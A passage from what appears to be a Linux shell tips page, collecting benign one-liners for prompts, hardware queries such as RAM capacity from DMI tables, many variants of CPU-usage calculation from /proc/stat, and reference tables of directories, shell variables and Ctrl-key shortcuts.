    [ -e "$t" ] || continue
    label="${t%_input}_label"
    printf "%s | %s | %.1f°C\n" \
      "$name" \
      "$(cat "$label" 2>/dev/null || echo $(basename "$t"))" \
      "$(awk '{print $1/1000}' "$t")"
  done
done

Show aliases for rg

$ type rg
rg is aliased to `rg -i --color=always --colors 'match:bg:160,32,240' --colors 'match:fg:255,255,255''

Allow crawling from all bots (robots.txt) on web

User-agent: *
Disallow:

Sitemap: https://www.linux-shell.se/sitemap.xml

Smiley Face Bash Prompt

PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"

Change Bash Prompt to MS-DOS style

export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> "

List GPU´s edid

ls -l /sys/class/drm/*/edid /sys/class/drm/card*-*/edid 2>/dev/null

Fix broken terminal after corrupted TTY state (stty reset)

reset
stty sane
export TERM=xterm

Create sddm.conf

sddm --example-config > /etc/sddm.conf 

Show the maximum supported RAM capacity (DMI/SMBIOS)

hexdump -v -e '1/1 "%u\n"' /sys/firmware/dmi/tables/DMI |
awk '{b[NR]=$1}
END{for(i=1;i<NR;){
l=b[i+1];if(l<4||i+l-1>NR)exit
if(b[i]==16){k=b[i+7]+256*b[i+8]+65536*b[i+9]+16777216*b[i+10];printf"Maximum Capacity: %.0f GiB\n",k/1048576;exit}
for(j=i+l;j<NR && b[j]+b[j+1];j++);i=j+2}}'
xxd -p -c1 /sys/firmware/dmi/tables/DMI |
awk '{b[NR]=strtonum("0x"$1)}
END{for(i=1;i<NR;){
l=b[i+1]; if(l<4||i+l-1>NR) exit
if(b[i]==16){
k=b[i+7]+256*b[i+8]+65536*b[i+9]+16777216*b[i+10]
printf "Maximum Capacity: %.0f GiB\n", k/1048576
exit
}
for(j=i+l; j<NR && b[j]+b[j+1]; j++); i=j+2
}}'
od -An -v -tu1 /sys/firmware/dmi/tables/DMI |
awk '{for(x=1;x<=NF;x++) b[++n]=$x}
END{for(i=1;i<n;){
l=b[i+1]; if(l<4||i+l-1>n) exit
if(b[i]==16){
k=b[i+7]+256*b[i+8]+65536*b[i+9]+16777216*b[i+10]
printf "Maximum Capacity: %.0f GiB\n", k/1048576
exit
}
for(j=i+l; j<n && b[j]+b[j+1]; j++); i=j+2
}}'
perl -0777 -ne '
  $d=$_;
  $i=0;
  while($i+4<=length($d)){
    $t=ord(substr($d,$i,1));
    $l=ord(substr($d,$i+1,1));
    last if $l<4 || $i+$l>length($d);
    $fmt=substr($d,$i,$l);
    $j=$i+$l;
    $j++ while $j+1<length($d) && substr($d,$j,2) ne "\0\0";
    $j+=2;
    if($t==16){
      $max_kb=unpack("V",substr($fmt,7,4));
      printf "Maximum Capacity: %.0f GiB\n", $max_kb/1024/1024;
      exit 0;
    }
    $i=$j;
  }
' /sys/firmware/dmi/tables/DMI
python3 -c 'import struct;d=open("/sys/firmware/dmi/tables/DMI","rb").read();i=0
while i+4<=len(d):
 t,l=d[i],d[i+1]
 j=i+l
 while d[j:j+2]!=b"\0\0": j+=1
 if t==16: print("Maximum Capacity: %d GiB"%(struct.unpack_from("<I",d,i+7)[0]//1048576)); break
 i=j+2'

Determine CPU Microarchitecture on Linux

find /sys/ -type f -name pmu_name -exec cat {} \;
gcc -Q -march=native --help=target 2>/dev/null \
  | awk '$1=="-march=" {print $2; exit}'

List registered hardware monitoring sensors (hwmon)

for d in /sys/class/hwmon/hwmon*; do
  echo -n "$d: "
  cat "$d/name"
done

Print cpu usage in percentage

top -bn1|grep "Cpu(s)"|sed "s/.*, *\([0-9.]*\)%* id.*/\1/" |awk '{print 100 - $1"%"}'

Print cpu usage in percentage

awk '
NR==FNR && $1=="cpu" {u1=$2+$4; t1=$2+$4+$5; next}
$1=="cpu" {print (u2=$2+$4-u1)*100/((t2=$2+$4+$5)-t1) "%"}
' /proc/stat <(sleep 0.1; cat /proc/stat)

Print cpu usage in percentage (fast)

awk '
NR==FNR && $1=="cpu" {
    u1 = $2 + $4
    t1 = u1 + $5
    next
}
$1=="cpu" {
    u2 = $2 + $4
    t2 = u2 + $5
    printf "%.2f%%\n", (u2 - u1) * 100 / (t2 - t1)
}
' /proc/stat <(sleep 0.1; cat /proc/stat)

Print cpu usage in percentage

read -r cpu u n s i io irq sirq st g gn < /proc/stat
t1=$((u+n+s+i+io+irq+sirq+st))
idle1=$((i+io))

sleep 0.1

read -r cpu u n s i io irq sirq st g gn < /proc/stat
t2=$((u+n+s+i+io+irq+sirq+st))
idle2=$((i+io))

dt=$((t2 - t1))
di=$((idle2 - idle1))

usage=$(( (dt - di) * 100 / dt ))

echo "CPU Usage: ${usage}%"

Print cpu usage in percentage

awk '
NR==1 && $1=="cpu" {u1=$2+$4; t1=$2+$4+$5; next}
NR==2 && $1=="cpu" {u2=$2+$4; t2=$2+$4+$5; printf "%.2f%%\n", (u2-u1)*100/(t2-t1)}
' <(grep '^cpu ' /proc/stat) <(sleep 1; grep '^cpu ' /proc/stat)

Print cpu usage (no cat, no grep, awk reads /proc/stat itself)

awk '
function read_cpu(    i,sum) {
  getline < "/proc/stat"
  close("/proc/stat")
  idle=$5+$6
  sum=0
  for(i=2;i<=NF;i++) sum+=$i
  total=sum
}
BEGIN{
  read_cpu(); t1=total; i1=idle
  system("sleep 1")
  read_cpu(); t2=total; i2=idle
  dt=t2-t1; di=i2-i1
  printf "%.2f%%\n", (dt-di)*100/dt
}'

Print cpu usage per core awk method

awk '
function sample(T,I,   cpu,i,total,idle) {
  while ((getline < "/proc/stat") > 0) {
    if ($1 ~ /^cpu[0-9]+$/) {
      cpu=$1
      idle=$5+$6
      total=0
      for (i=2;i<=NF;i++) total += $i
      T[cpu]=total
      I[cpu]=idle
    }
  }
  close("/proc/stat")
}
BEGIN{
  sample(T1,I1)
  system("sleep 0.1")
  sample(T2,I2)

  for (cpu in T1) {
    dt=T2[cpu]-T1[cpu]
    di=I2[cpu]-I1[cpu]
    if (dt>0) printf "%s: %.2f%%\n", cpu, (dt-di)*100/dt
  }
}'

Print cpu usage in percentage

awk '
NR==FNR && $1=="cpu" {
    u1 = $2 + $4
    t1 = u1 + $5
    next
}
$1=="cpu" {
    u2 = $2 + $4
    t2 = u2 + $5
    printf "%.2f%%\n", (u2 - u1) * 100 / (t2 - t1)
}
' /proc/stat <(sleep 0.5; grep '^cpu ' /proc/stat)

Print CPU usage in Percentage

awk '
NR==FNR && $1=="cpu" {u1=$2+$4; t1=$2+$4+$5; next}
$1=="cpu" {print (u2=$2+$4-u1)*100/((t2=$2+$4+$5)-t1) "%"}
' /proc/stat <(sleep 0.1; cat /proc/stat)

Print CPU utilization in Percentage

awk '{u=$2+$4; t=$2+$4+$5; if (NR==1){u1=u; t1=t;} else print ($2+$4-u1) * 100 / (t-t1) "%"; }' \
<(grep 'cpu ' /proc/stat) <(sleep 1; grep 'cpu ' /proc/stat)

Print cpu usage per core sed method

# First sample
A0=($(sed -n '2p' /proc/stat))
A1=($(sed -n '3p' /proc/stat))
A2=($(sed -n '4p' /proc/stat))
A3=($(sed -n '5p' /proc/stat))

sleep 0.2

# Second sample
C0=($(sed -n '2p' /proc/stat))
C1=($(sed -n '3p' /proc/stat))
C2=($(sed -n '4p' /proc/stat))
C3=($(sed -n '5p' /proc/stat))

calc() {
    local -n A=$1
    local -n C=$2

    idle1=$((${A[4]} + ${A[5]}))
    idle2=$((${C[4]} + ${C[5]}))

    total1=0
    total2=0
    for i in {1..10}; do
        total1=$((total1 + ${A[$i]}))
        total2=$((total2 + ${C[$i]}))
    done

    dt=$((total2 - total1))
    di=$((idle2 - idle1))

    echo $((( (dt - di) * 100 ) / dt))
}

E0=$(calc A0 C0)
E1=$(calc A1 C1)
E2=$(calc A2 C2)
E3=$(calc A3 C3)

echo "core0: ${E0}%"
echo "core1: ${E1}%"
echo "core2: ${E2}%"
echo "core3: ${E3}%"

Print cpu usage per core mapfile method

mapfile -t STAT1 < <(grep '^cpu[0-9]' /proc/stat)
sleep 0.2
mapfile -t STAT2 < <(grep '^cpu[0-9]' /proc/stat)

for i in "${!STAT1[@]}"; do
    A=(${STAT1[$i]})
    C=(${STAT2[$i]})

    idle1=$((A[4] + A[5]))
    idle2=$((C[4] + C[5]))

    total1=0; total2=0
    for j in {1..10}; do
        total1=$((total1 + A[$j]))
        total2=$((total2 + C[$j]))
    done

    dt=$((total2 - total1))
    di=$((idle2 - idle1))

    usage=$((( (dt - di) * 100 ) / dt))
    echo "core$i: ${usage}%"
done

Print CPU usage in Percentage for idle/used

awk '
$1=="cpu" {
    idle=$5+$6
    total=$2+$3+$4+$5+$6+$7+$8+$9+$10+$11
    used=total-idle

    printf "%-7s %-7s\n", "idle", "used"
    printf "%5.2f%%  %5.2f%%\n",
           idle*100/total,
           used*100/total
}' /proc/stat

Directory Summary

/          Root directory
├── bin    Essential user binaries
├── sbin   System binaries
├── etc    Configuration files
├── var    Variable data (logs, caches)
├── usr    User programs and data
├── home   User home directories
├── root   Root user home
├── tmp    Temporary files
├── boot   Boot loader files
├── dev    Device files
├── proc   Process information (virtual)
├── sys    System information (virtual)
├── lib    Essential libraries
├── mnt    Temporary mount points
├── media  Removable media mount points
├── opt    Optional software
├── srv    Service data
└── run    Runtime data

Variables

Variable Description
$0 Name of shell or shell script
$1, $2, $3, … Positional parameters
$# Number of positional parameters
$? Most recent foreground pipeline exit status
$- Current options set for the shell
$$ Pid of the current shell (not subshell)
$! Is the PID of the most recent background command
$_ Last argument of the previously executed command, or the path of the bash script

Environment variables

| Variables            | Description                                                                      |
|----------------------|----------------------------------------------------------------------------------|
| $DESKTOP_SESSION     | Current display manager                                                          | 
| $EDITOR              | Preferred text editor                                                            |
| $LANG                | Current language                                                                 |
| $PATH                | List of directories to search for executable files (i.e. ready-to-run programs)  |
| $PWD                 | Current directory                                                                |
| $SHELL               | Current shell                                                                    |
| $USER                | Current username                                                                 |
| $HOSTNAME            | Current hostname                                                                 |

Using ctrl keys

Keys Description
Ctrl + a move to the beginning of line
Ctrl + d if you've type something, Ctrl + d deletes the character under the cursor, else, it escapes the current shell
Ctrl + e move to the end of line
Ctrl + k delete all text from the cursor to the end of line
Ctrl + l equivalent to clear
Ctrl + n same as Down arrow
Ctrl + p same as Up arrow
Ctrl + q to resume output to terminal after Ctrl + s
Ctrl + r begins a backward search through command history
Ctrl + s to stop output to terminal
Ctrl + t transpose the character before the cursor with the one under the cursor, press Esc + t to transposes the two words before the cursor
Ctrl + u cut the line before the cursor; then Ctrl + y paste it
Ctrl + w cut the word before the cursor; then Ctrl + y paste it
Ctrl + x backspace : delete all text from the beginning of line to the cursor
Ctrl + x Ctrl + e : launch editor defined by $EDITOR to input your command
Ctrl + z stop current running process and keep it in background
Ctrl + _ undo typing